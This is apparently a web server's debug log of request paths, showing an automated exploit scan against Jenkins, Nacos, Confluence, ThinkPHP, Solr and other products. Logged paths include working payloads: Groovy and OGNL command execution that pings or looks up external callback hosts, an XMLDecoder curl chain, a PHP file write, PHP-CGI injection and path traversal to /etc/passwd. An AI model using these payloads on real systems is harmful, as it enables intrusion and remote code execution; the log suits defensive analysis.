[2024-10-09T16:09:43+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:09:44+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:09:44+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:09:45+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:09:45+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:09:45+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = php/?s=
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=class%20DoNotRunConstructor%20extends%20org.jenkinsci.plugins.workflow.cps.CpsScript%20%7B%0ADoNotRunConstructor()%20%0A%7B%22ping%20k13urh.s0x.cn%22.execute()%20%7D%0AObject%20run()%20%0A%7Bnull%7D%0A%7D
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = api/systeminfo
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = php/?s=
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = rest/tinymce
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = _async/AsyncResponseService
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = seeyon/htmlofficeservlet
[2024-10-09T16:10:27+08:00][debug] middleware/Authorise: handle | request path = mailsms/s?func=ADMIN:appState&dumpConfig=
[2024-10-09T16:10:28+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:28+08:00][debug] middleware/Authorise: handle | request path = actuator/
[2024-10-09T16:10:28+08:00][debug] middleware/Authorise: handle | request path = php/?s=
[2024-10-09T16:10:28+08:00][debug] middleware/Authorise: handle | request path = php/?s=
[2024-10-09T16:10:28+08:00][debug] middleware/Authorise: handle | request path = .;/actuator
[2024-10-09T16:10:30+08:00][debug] middleware/Authorise: handle | request path = api/systeminfo
[2024-10-09T16:10:30+08:00][debug] middleware/Authorise: handle | request path = php?a=fetch&templateFile=public/index&prefix=&content=%3Cphp%3Efile_put_contents(%22c4ca4238a0b923820dcc509a6f75849b.php%22,%22c81e728d9d4c2f636f067f89cc14862c%22)%3C
[2024-10-09T16:10:30+08:00][debug] middleware/Authorise: handle | request path = .(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)Windows/win.ini
[2024-10-09T16:10:32+08:00][debug] middleware/Authorise: handle | request path = servlet/mxservlet
[2024-10-09T16:10:32+08:00][debug] middleware/Authorise: handle | request path = jsp/..;
[2024-10-09T16:10:32+08:00][debug] middleware/Authorise: handle | request path = EemAdminService/EemAdmin?wsdl
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = casa/nodes
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = api/settings
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = gateway/routes
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = xxl-job-admin/api
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = .(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)usr/share
[2024-10-09T16:10:33+08:00][debug] middleware/Authorise: handle | request path = plugin/add
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = apisix/admin
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = api/settings
[2024-10-09T16:10:34+08:00][debug] middleware/Authorise: handle | request path = app/timelion
[2024-10-09T16:10:35+08:00][debug] middleware/Authorise: handle | request path = do?method=editParam&fdParemNames=11&FdParameters=%3C?xml%20version=%221.0%22%20encoding=%22UTF-8%22?%3E%20%3Cjava%20version=%221.7.0_21%22%20class=%22java.beans.XMLDecoder%22%3E%20%3Cvoid%20class=%22java.lang.ProcessBuilder%22%3E%20%3Carray%20class=%22java.lang.String%22%20length=%222%22%3E%3Cvoid%20index=%220%22%3E%3Cstring%3Ecurl%3C/string%3E%3C
[2024-10-09T16:10:35+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:35+08:00][debug] middleware/Authorise: handle | request path = openam/ccversion
[2024-10-09T16:10:35+08:00][debug] middleware/Authorise: handle | request path = service/~xbrl
[2024-10-09T16:10:36+08:00][debug] middleware/Authorise: handle | request path = php?m=&c=index&a=assign_resume_tpl&variable[a]=1&tpl=data/Runtime
[2024-10-09T16:10:36+08:00][debug] middleware/Authorise: handle | request path = api/beans
[2024-10-09T16:10:36+08:00][debug] middleware/Authorise: handle | request path = minio/bootstrap
[2024-10-09T16:10:36+08:00][debug] middleware/Authorise: handle | request path = ?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a/
[2024-10-09T16:10:38+08:00][debug] middleware/Authorise: handle | request path = service/extension
[2024-10-09T16:10:38+08:00][debug] middleware/Authorise: handle | request path = api/interface
[2024-10-09T16:10:38+08:00][debug] middleware/Authorise: handle | request path = jolokia/list
[2024-10-09T16:10:38+08:00][debug] middleware/Authorise: handle | request path = ?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a/
[2024-10-09T16:10:38+08:00][debug] middleware/Authorise: handle | request path = bootstrap/v1
[2024-10-09T16:10:39+08:00][debug] middleware/Authorise: handle | request path = servlet/monitorservlet
[2024-10-09T16:10:39+08:00][debug] middleware/Authorise: handle | request path = webtools/control
[2024-10-09T16:10:39+08:00][debug] middleware/Authorise: handle | request path = solr/admin
[2024-10-09T16:10:40+08:00][debug] middleware/Authorise: handle | request path = cgi-bin/rpc
[2024-10-09T16:10:40+08:00][debug] middleware/Authorise: handle | request path = eam/vib?id=%2Fetc%2Fpasswd
[2024-10-09T16:10:40+08:00][debug] middleware/Authorise: handle | request path = service/extension
[2024-10-09T16:10:43+08:00][debug] middleware/Authorise: handle | request path = api/user
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = solr/[]
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = jolokia/list
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a/
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = jsp/..;
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = seeyon/pdfservlet
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = service/extension
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = api/admin
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = url=http:/
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = druid/indexer
[2024-10-09T16:10:44+08:00][debug] middleware/Authorise: handle | request path = php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a/
[2024-10-09T16:10:45+08:00][debug] middleware/Authorise: handle | request path = druid/indexer
[2024-10-09T16:10:45+08:00][debug] middleware/Authorise: handle | request path = do/..
[2024-10-09T16:10:45+08:00][debug] middleware/Authorise: handle | request path = actuator/gateway
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = servlet/FileReceiveServlet
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = jsp/..;
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = mgmt/tm
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = api/user
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = webtools/control
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = do?method=editParam&fdParemNames=11&FdParameters=%3C?xml%20version=%221.0%22%20encoding=%22UTF-8%22?%3E%20%3Cjava%20version=%221.7.0_21%22%20class=%22java.beans.XMLDecoder%22%3E%20%3Cvoid%20class=%22java.lang.ProcessBuilder%22%3E%20%3Carray%20class=%22java.lang.String%22%20length=%222%22%3E%3Cvoid%20index=%220%22%3E%3Cstring%3Ecurl%3C/string%3E%3C
[2024-10-09T16:10:46+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:47+08:00][debug] middleware/Authorise: handle | request path = apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22echo%201234456726341234%22%29.getInputStream%28%29%2c%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Resp%22%2c%23a%29%29%7d/
[2024-10-09T16:10:47+08:00][debug] middleware/Authorise: handle | request path = directdata/direct
[2024-10-09T16:10:47+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:10:48+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:48+08:00][debug] middleware/Authorise: handle | request path = lang.Runtime@getRuntime().exec(%22nslookup%20xrx23p.s0x.cn%22).getInputStream()%7D/
[2024-10-09T16:10:49+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:49+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:49+08:00][debug] middleware/Authorise: handle | request path = do.css/..;
[2024-10-09T16:10:49+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:50+08:00][debug] middleware/Authorise: handle | request path = /.
[2024-10-09T16:10:53+08:00][debug] middleware/Authorise: handle | request path = lang.Runtime@getRuntime().exec(%22getent%20hosts%20xrx23p.s0x.cn%22).getInputStream()%7D/
[2024-10-09T16:10:54+08:00][debug] middleware/Authorise: handle | request path = do.css/..;
[2024-10-09T16:10:58+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:10:58+08:00][debug] middleware/Authorise: handle | request path = atlassian.confluence.util.GeneralUtil@setCookie(%22ipodise%22,%22ororbej%22)%7D/
[2024-10-09T16:11:00+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:11:00+08:00][debug] middleware/Authorise: handle | request path = menu/stc
[2024-10-09T16:11:01+08:00][debug] middleware/Authorise: handle | request path = pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1
[2024-10-09T16:11:01+08:00][debug] middleware/Authorise: handle | request path = pcidss/report?sid=nsroot&username=nsroot&force_setup=1
[2024-10-09T16:11:02+08:00][debug] middleware/Authorise: handle | request path = nacos/v1
[2024-10-09T16:11:05+08:00][debug] middleware/Authorise: handle | request path = nacos/v1